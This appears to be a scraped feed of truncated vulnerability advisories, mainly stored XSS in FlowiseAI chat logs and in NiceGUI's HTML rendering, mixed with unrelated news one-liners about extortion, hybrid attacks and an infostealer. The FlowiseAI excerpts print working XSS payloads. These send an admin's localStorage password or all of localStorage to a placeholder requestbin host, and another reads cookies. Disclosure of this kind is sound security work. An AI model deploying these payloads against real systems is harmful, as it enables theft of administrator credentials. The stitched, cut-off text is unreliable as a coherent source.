### Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting. ### PoC ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> ``` If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. ```html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOUR_REQUESTBIN_SERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> ``` So when an admin clicks the img that generated by above htm...

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click...

After claiming it would shut down, the cybercriminal collective reemerged and threatened to publish the stolen data of Salesforce customers by Oct. 10 if its demands are not met.

### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/js...

All functions under `wrflib::byte_extract` are simply wrapper of unsafe pointer offset and lacks sufficient checks to it pointer and offset parameter. `wrflib` is unmaintained.

### Summary A Cross-Site Scripting (XSS) risk exists in NiceGUI when developers render unescaped user input into the DOM using `ui.html()`. Before version 3.0, NiceGUI does not enforce HTML or JavaScript sanitization, so applications that directly combine components like `ui.input()` with `ui.html()` without escaping may allow attackers to execute arbitrary JavaScript in the user’s browser. Same holds for `ui.chat_message` with HTML content. Applications that directly reflect user input via `ui.html()` (or `ui.chat_message` in HTML mode) are affected. This may lead to client-side code execution (e.g., session hijacking or phishing). Applications that do not pass untrusted input into ui.html() are not affected. ### Details NiceGUI allows developers to bind user input directly into the DOM using `ui.html()` or `ui.chat_message()`. However, the library does not enforce any HTML or JavaScript sanitization, which potentially creates a dangerous attack surface for developers unaware of t...

Dutch Prime Minister Dick Schoof described the incident as part of a broader pattern of Russian hybrid attacks against Europe.

A threat actor named Detour Dog has been outed as powering campaigns distributing an information stealer known as Strela Stealer.
